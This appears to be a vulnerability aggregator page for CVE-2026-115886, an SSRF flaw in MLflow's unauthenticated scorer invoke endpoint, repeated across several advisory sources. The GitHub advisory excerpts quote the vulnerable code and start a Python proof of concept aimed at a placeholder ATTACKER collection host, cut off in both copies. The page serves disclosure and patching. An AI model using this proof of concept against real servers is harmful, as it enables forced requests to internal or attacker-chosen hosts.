CVE-2026-115886
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.
- Record
CVE-2026-115886- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-470, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-109184
6.5
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.
- Record
EUVD-2026-109184- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2wqp-q3c6-ccj5
6.5
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
Summary
MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).
Details
Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiation
The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
"mlflow.genai.scorers.ragas",
"mlflow.genai.scorers.deepeval",
"mlflow.genai.scorers.trulens",
"mlflow.genai.scorers.phoenix",
})
For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
return _create_gateway_provider(backend, **kwargs)
try:
from trulens.providers.litellm import LiteLLM
litellm_model = backend.model_name
...
return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded
Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().
- Route:
POST /ajax-api/3.0/mlflow/scorer/invoke→_invoke_scorer_handler(mlflow/server/handlers.py:7026-7098), guarded only by@catch_mlflow_exception/@_disable_if_artifacts_only— no auth decorator. Scorer.model_validate_json(serialized_scorer)(the vulnerable deserialization) runs synchronously, before any tracking-store lookup orsubmit_jobcall.- Precondition: the server venv must have
trulens+trulens-providers-litellminstalled (a documented but optional, not-bundled GenAI-eval setup).
PoC
import time
import mlflow
from mlflow import MlflowClient
import requests
TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors
client = MlflowClient(tracking_uri=TARGET)
# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
span.set_inputs({"q": "hi"})
span.set_outputs({"a": "hi"})
trace_id = span.request_id
# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
# outbound LLM client at the attacker host with an attacker-chosen
# Authorization value (their own canary, not a server secret).
serialized_scorer = {
"name":…
- Record
GHSA-2wqp-q3c6-ccj5- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-470, CWE-918
- Updated
- 2026-11-02
NVD
6.5
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.
- Record
CVE-2026-115886- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-470, CWE-918
- Updated
- 2026-11-02
OSV
6.5
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.
- Record
CVE-2026-115886- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-470, CWE-918
- Updated
- 2026-11-02
OSVGHSA-2wqp-q3c6-ccj5
6.5
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
Summary
MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).
Details
Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiation
The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
"mlflow.genai.scorers.ragas",
"mlflow.genai.scorers.deepeval",
"mlflow.genai.scorers.trulens",
"mlflow.genai.scorers.phoenix",
})
For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
return _create_gateway_provider(backend, **kwargs)
try:
from trulens.providers.litellm import LiteLLM
litellm_model = backend.model_name
...
return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded
Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().
- Route:
POST /ajax-api/3.0/mlflow/scorer/invoke→_invoke_scorer_handler(mlflow/server/handlers.py:7026-7098), guarded only by@catch_mlflow_exception/@_disable_if_artifacts_only— no auth decorator. Scorer.model_validate_json(serialized_scorer)(the vulnerable deserialization) runs synchronously, before any tracking-store lookup orsubmit_jobcall.- Precondition: the server venv must have
trulens+trulens-providers-litellminstalled (a documented but optional, not-bundled GenAI-eval setup).
PoC
import time
import mlflow
from mlflow import MlflowClient
import requests
TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors
client = MlflowClient(tracking_uri=TARGET)
# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
span.set_inputs({"q": "hi"})
span.set_outputs({"a": "hi"})
trace_id = span.request_id
# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
# outbound LLM client at the attacker host with an attacker-chosen
# Authorization value (their own canary, not a server secret).
serialized_scorer = {
"name":…
- Record
GHSA-2wqp-q3c6-ccj5- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-470, CWE-918
- Updated
- 2026-11-02
OSVBIT-mlflow-2026-115886 No score
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.
- Record
BIT-mlflow-2026-115886- Updated
- 2026-11-02
Affected products
Affected packages
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-115886 is a medium vulnerability (CVSS 6.5) in Mlflow, published October 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.68%, the 52nd percentile. Fixed in mlflow 3.17.0.
References
github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5
github.com/mlflow/mlflow/pull/25890
github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f
github.com/mlflow/mlflow/releases/tag/v3.17.0
github.com/advisories/GHSA-2wqp-q3c6-ccj5
nvd.nist.gov/vuln/detail/CVE-2026-115886
github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115886.json
github.com/mlflow/mlflow
Left out here: the rest of 2 source descriptions. The JSON record has them.